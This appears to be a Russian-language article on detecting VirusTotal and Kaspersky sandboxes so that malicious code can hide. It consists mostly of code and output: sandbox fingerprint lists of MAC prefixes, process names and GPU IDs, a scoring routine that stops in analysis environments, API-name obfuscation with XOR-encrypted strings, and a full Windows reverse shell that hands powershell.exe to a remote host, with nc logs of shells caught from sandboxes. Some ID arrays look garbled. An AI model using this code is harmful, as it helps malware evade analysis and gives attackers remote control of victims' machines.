Статья Детектим сэндбоксы VirusTotal и Kaspersky, чтобы спрятать вредоносный код

Hostname: <hostname>
Version: <version_os>
Release: <number_release>
Architecture: <architecture>
Type machine: <type>
Network name: <network_name>
User: <run_user>
OS type: <windows/linux>
Local_ip: <local_ip>

command_crypt = b'k\xb0\x0fp4\x03\xe9D\xe0\x01\xd5Z}\xc1\x85\xa42\xc56\x9f\xc0\x81\xaf\t\xe5\x08k!\x81\xd5\xcc\xf0'
command_decrypt = func_decrypt(command_crypt, key_decrypt)
os_type = eval(command_decrypt)

Hostname: DESKTOP-HESL6H8
 Version: 10.0.18362
 Release: 10
 Architecture: ('64bit', 'WindowsPE')
 Type machine: AMD64
 Network name: DESKTOP-HESL6H8
 User: G58gQ
 OS type: Windows
 Local_ip: 10.16.202.175

root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.86.36.138 49171
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\azure\Downloads>
PS C:\Users\azure\Downloads> dir
dir
PS C:\Users\azure\Downloads> cd ..
cd ..
PS C:\Users\azure> dir
dir
Directory: C:\Users\azure

PS C:\Users\azure> exit
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.45.100.89 49681
ls
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\Bruno\Desktop> ls
Directory: C:\Users\Bruno\Desktop

OS type:
Version:
Release:
Architecture:
Type machine:
Network name:
User:
Hostname:
Local ip:
System Date:
   System boot time:
   Uptime:
System hardware:
System File:
   Directory: C:/Windows:
   Directory: C:/Program Files:
   Directory: C:/Program Files (x86):
   Directory: C:/ProgramData:
   Directory: C:/Windows/System32:
   Directory: C:/Windows/SysWOW64:
   Directory: C:/Windows/Temp:
   Directory: C:/Users:
User File:
   User directory:
   Directory: Downloads:
   Directory: Desktop:
   Directory: Pictures:
   Directory: Videos:
   Directory: Music:
   Directory: AppData\Local\Temp:
Process Data:

systeminfo
ipconfig /all
net user
Get-WmiObject Win32_ComputerSystem
Get-Service
Get-WmiObject Win32_VideoController
Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select-Object `DeviceID, @{Name="Size(GB)";Expression={"{0:N2}" -f ($.Size / 1GB)}}, @{Name="Free(GB)";Expression={"{0:N2}" -f ($.FreeSpace / 1GB)}},@{Name="Used(GB)";Expression={"{0:N2}" -f (($.Size - $.FreeSpace) / 1GB)}}

{{0x00, 0x50, 0x56}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x0C, 0x29}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x05, 0x69}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x1с, 0x14}, "VMware ESX 3, Server, Workstation, Player"},

{{0x00, 0x03, 0xff}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x0d, 0x3a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x50, 0xf2}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x7c, 0x1e, 0x52}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x12, 0x5a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x15, 0x5d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x17, 0xfa}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x28, 0x18, 0x78}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x7c, 0xed, 0x8d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x1d, 0xd8}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x22, 0x48}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x25, 0xae}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x60, 0x45, 0xbd}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0xdc, 0xb4, 0xc4}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},

{{0x00, 0x1c, 0x42}, "Parallels Desktop, Workstation, Server, Virtuozzo"},
{{0x00, 0x0f, 0x4b}, "Virtual Iron 4"},
{{0x00, 0x16, 0x3e}, "Red Hat Xen | Oracle VM | XenSource | Novell Xen"},
{{0x08, 0x00, 0x27}, "Sun xVM VirtualBox"},

// Иконка VirtualBox в трее гостевой ОС
TEXT("VBoxTray.exe"),

// Служба VirtualBox Guest Additions
TEXT("VBoxService.exe"),
TEXT("vboxservice.exe"),

// Драйвер VirtualBox Guest
TEXT("vboxguest.sys"),

// VMware Tools
TEXT("vmtoolsd.exe"),
TEXT("vmwaretray.exe"),
TEXT("vmwareuser.exe"),
TEXT("vmsrvc.exe"),
TEXT("vmhgfs.sys"),
TEXT("vmware-vmx.exe"),
TEXT("vmware-authd.exe"),

// Hyper-V
TEXT("vmicvss.exe"),
// TEXT("vmms.exe"),  // Был обнаружен в реальной машине, закомментировано
TEXT("vmmem.exe"),
TEXT("vmwp.exe"),

// QEMU
TEXT("qemu-system-x86_64.exe"),
TEXT("qemu-vm-guest.exe"),

// Parallels
TEXT("prl_vm_app.exe"),
TEXT("prl_tools.exe"),
TEXT("prl_cc.exe"),
TEXT("SharedIntApp.exe"),

// Драйвер мыши виртуальной машины
TEXT("vmmouse.sys"),

// Xen Virtualization environment
TEXT("xenservice.exe"),

// Windows Sandbox
TEXT("WindowsSandbox.exe"),

// Sandboxie
TEXT("SandboxieRpcSs.exe"),
TEXT("SandboxieDcomLaunch.exe"),
TEXT("SbieSvc.exe"),
TEXT("SbieCtrl.exe"),

// Comodo Sandbox
TEXT("SxIn.exe"),

// Process Monitor — анализ поведения
TEXT("procmon.exe"),

// Обнаружен в процессах одной из песочниц VirusTotal
TEXT("VmRemoteGuest.exe"),

// Windows Debugging Tools
TEXT("ntsd.exe"),
TEXT("windbg.exe"),

// IDA Pro
TEXT("idaq.exe"),
TEXT("idag.exe"),

// x64dbg/x32dbg
TEXT("x64dbg.exe"),
TEXT("x32dbg.exe"),
И тут меня заинтересовал вывод команды

Get-WmiObject Win32_VideoController
А именно вот такие строки:

Name
Description
PNPDeviceID
Собираю информацию с хостов:

Real PC:

Description                  : AMD Radeon(TM) Vega 10 Graphics
PNPDeviceID                  : PCI\VEN_1002&DEV_15DD&SUBSYS_512217AA&REV_D0\4&35FEB52A&0&0041

Description                  : Intel(R) UHD Graphics 730
PNPDeviceID                  : PCI\VEN_8086&DEV_4692&SUBSYS_D0001458&REV_0C\3&11583659&0&10

Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18

Hostname: art-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\3&1

Hostname: DESKTOP-09L7V90
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10

Hostname: DESKTOP-NL2CM8W
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10

Hostname: DESKTOP-WSP0LAK
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10

Hostname: WIN-5E07COS9ALR
OS: Windows 10
Name                         : Microsoft Hyper-V Video
Description                  : Microsoft Hyper-V Video
PNPDeviceID                  : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}

Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Name                         : Microsoft Hyper-V Video
Caption                      : Microsoft Hyper-V Video
PNPDeviceID                  : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}

Hostname: 715575
OS: Windows 10
Name                         : AD59MKMM
Description                  : CMPMV5
PNPDeviceID                  : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78

Hostname: 061544
OS: Windows 10

Hostname: 424505
OS: Windows 10
Name                         : X9387726
Description                  : AE27H7US
NPDeviceID                  : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78

Hostname: azure-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2

Hostname: azure-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2

Hostname: 00900BC83803
OS: Windows 10
Name                         : Intel(R) UHD Graphics 630
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_5678&SUBSYS_9101112&REV_01\3&ABCDE&0&11

Hostname: COMPUTER-9GV0UZ
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18

Hostname: MZLTRR848050884
OS: Windows 10
Name                        : Microsoft Basic Display Adapter
Description                 : Microsoft Basic Display Adapter
PNPDeviceID                 : PCI\VEN_8086&DEV_0412&SUBSYS_2AF7103C&REV_06\3&21436425&0&10

// Имена виртуальных видеоадаптеров
  char* virtual_keywords[] = {
    "Microsoft Basic Display Adapter",
    "VMware SVGA 3D",
    "VirtualBox Graphics Adapter",
    "Hyper-V Video",
    "Parallels Display Adapter (WDDM)",
    "QXL",
    "Red Hat QXL"
    "Xen VGA",
    "Citrix Display Adapter",
    "GDI Generic",
    "VBOX DISP Adapter"

// Виртуальные VEN- и DEV-коды
char* virtual_code[] = {
    //  Vendor ID    Device ID

    // VMware
    "VEN_15AD", "DEV_0405",

    // VirtualBox
    "VEN_80EE", "DEV_BEEF", "DEV_CAFE",

    // Microsoft Hyper-V
    "VEN_\x0fDESKTOP-VVJHHG1414", "DEV_5353",

    // QEMU / KVM
    "VEN_1AF4", "DEV_1110",

    // Parallels Display Adapter
    "VEN_1AB8", "DEV_4000", "DEV_4005",

    // Citrix Xen
    "VEN_5853", "DEV_0001", "DEV_0002", "DEV_0003", "DEV_0004",
    "DEV_0005", "DEV_0006", "DEV_0007", "DEV_0008", "DEV_0009",
    "DEV_000A", "DEV_000B", "DEV_000C", "DEV_000D", "DEV_000V", "DEV_000F",

    // Bochs / QEMU Generic VGA
    "VEN_1234", "DEV_1111",

    // Red Hat / QEMU
    "VEN_1B36", "DEV_0100",

    // Google
    "VEN_1AE0", "DEV_A001"
};

Real PC:
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       465,12   66,92    398,20
Kaspersky:
С сайта анализатора:
Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       39.89    20.55    19.34
Hostname: art-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
C:       18.90    2.49     16.41
D:       1.00     0.87     0.13
Файлы, аналогичные файлам при проведении тестового фишинга:
Hostname: DESKTOP-09L7V90
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       1,023.51 1,001.54 21.97
Hostname: DESKTOP-NL2CM8W
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       1,023.51 1,001.54 21.97
Hostname: DESKTOP-WSP0LAK
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       299.51   276.81   22.70
VirusTotal:
Hostname: WIN-5E07COS9ALR
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       40.00    25.68    14.32
D:       64.00    63.87    0.13
Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Данные почему‑то отсутствуют.
Hostname: 715575
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       208.15   104.83   103.32
Hostname: 061544
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       208.15   55.46    152.69
Hostname: 424505
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       208.15   104.83   103.32
Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
C:       119.90   89.61    30.29
Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)
C:       119.90   89.61    30.30
Hostname: 00900BC83803
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       29.45    9.32     20.14
E:       0.29     0.26     0.03
F:       1,024.00 1,023.86 0.13
Hostname: 00900BC83803
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       39.89    20.55    19.33
Hostname: MZLTRR848050884
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)
C:       999.90   981.98   17.92
G:       999.90   981.98   17.92

case WM_CREATE:
        {
            check_box();
            int a;
            for(; {
                // Инициализация генератора случайных чисел текущим временем
                srand(time(NULL));
                // Генерация числа от 1 до 100
                int random_number = (rand() % 100) + 1;
                a += random_number;
            }
        }

int check_box()
{
    int check_result = 0;
    int local_result = 0;

    local_result = 0;
    local_result = Check_Sleep();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_Uptime();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_CPU_Info();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_MEM_Info();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_MAC();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_Process();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_First_Video_Device();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_Disk_Info();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;

    local_result = 0;
    local_result = Check_Mouse_Motion();

    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    Tapping();

    exit(0);
}

id: Tapping
('user_ip', )
('user_agent', )
('date', 'yyyy-mm-dd hh:mm:ss')
('Width', )
('Longitude', )
('hostname', )
status code: 0

strings main.exe | grep GetSystemInfo
GetSystemInfo
ProxyGetSystemInfo
GetSystemInfo
__imp_GetSystemInfo
А теперь обфусцируем ее выбранным нами способом:

void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
    // Создаем тип pGetSystemInfo, который представляет указатель на функцию,
    // принимающую указатель на SYSTEM_INFO и не возвращающую значение.
    // Это позволит динамически загружать функцию GetSystemInfo.
    typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);

    // Имя функции "GetSystemInfo"
    char funcName[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };

    // Имя библиотеки "kernel32.dll"
    char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };

    // Загружаем дескриптор библиотеки kernel32.dll, которая содержит GetSystemInfo
    HMODULE hKernel32 = LoadLibraryA(name_dll);

    // Получаем адрес функции GetSystemInfo в этой библиотеке
    pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress(hKernel32, funcName);

    // Если функция загружена, вызываем ее
    if (GetSystemInfoFunc != NULL) {
        // Вызов функции GetSystemInfo
        GetSystemInfoFunc(lpSystemInfo);
    } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }

    // Освобождаем загруженную библиотеку
    FreeLibrary(hKernel32);
}

strings main.exe | grep GetSystemInfo
ProxyGetSystemInfo

void hkgnxQepjmjsmmndk(LPSYSTEM_INFO qvkajTyhuqevm) {

    typedef void(WINAPI* fldzzGflcclknthgw)(LPSYSTEM_INFO);
    char ydvyzAfgwfvmcefnzj[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
    char mcfdgNqypgvahfal[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
    HMODULE yinkaJpaggo = LoadLibraryA(mcfdgNqypgvahfal);
    fldzzGflcclknthgw mbiloJfyaumc = (fldzzGflcclknthgw)GetProcAddress(yinkaJpaggo, ydvyzAfgwfvmcefnzj);

    if (mbiloJfyaumc != NULL) {
        mbiloJfyaumc(qvkajTyhuqevm);
    } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }

    FreeLibrary(yinkaJpaggo);
}

const char temp_ip[] = { '1','9','2','.','1','6','8','.','5','.','5','2','\0' };

    const char *ip = temp_ip;

#include <stdio.h>

int main()
{
    char command[] = "powershell";
    printf("command: %s\n", command);
    return 0;
}

id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-VAJCHE')
status code: 0
id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-AATCVQ')
status code: 0

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16] = "ip";
char port[6] = "port";
STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int main()
{
  int i = 0;
  while ( i == 0 ){

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);


    struct hostent *host;
    host = gethostbyname(ip_addr);
    strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(port));
    hax.sin_addr.s_addr = inet_addr(ip_addr);

    int result;
    result = WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    if (result != -1) {
      memset(&ini_processo, 0, sizeof(ini_processo));
      ini_processo.cb = sizeof(ini_processo);
      ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
      ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

      TCHAR cmd[255] = TEXT("powershell.exe");

      CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
      i = 1;
      }
    else
      Sleep(60000);
  }

  return 0;
}

void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
    // Создаем тип pGetSystemInfo, который представляет указатель на функцию,
    // принимающую указатель на SYSTEM_INFO и не возвращающую значение.
    // Это позволит динамически загружать функцию GetSystemInfo.
    typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);

    // Ключ для дешифровки зашифрованных имен
    const char *key = "DFEWPWPDSPFEPWEQOUSDFUIKKSLASDJQFSSKFLWKSKEFJLSS";

    // Зашифрованное имя функции "GetSystemInfo"
    // char funcName[] = "GetSystemInfo";
    // char funcName[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
    char funcName[14] = {0x03, 0x23, 0x31, 0x04, 0x29, 0x24, 0x24, 0x21, 0x3E, 0x19, 0x28, 0x23, 0x3F, 0x00};
    Xor_Dencrypt(funcName, strlen(funcName), key);

    // Зашифрованное имя библиотеки "kernel32.dll"
    // char name_dll[] = "kernel32.dll";
    // char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
    char name_dll[13] = {0x2F, 0x23, 0x37, 0x39, 0x35, 0x3B, 0x63, 0x76, 0x7D, 0x34, 0x2A, 0x29, 0x00};
    Xor_Dencrypt(name_dll, strlen(name_dll), key);

    // Загружаем дескриптор библиотеки kernel32.dll, которая содержит GetSystemInfo
    HMODULE hKernel32 = LoadLibraryA(name_dll);

    // Получаем адрес функции GetSystemInfo в этой библиотеке
    pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress(hKernel32, funcName);

    // Если функция загружена, вызываем ее
    if (GetSystemInfoFunc != NULL) {
        // Вызов функции GetSystemInfo
        GetSystemInfoFunc(lpSystemInfo);
    } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }

    // Освобождаем загруженную библиотеку
    FreeLibrary(hKernel32);
}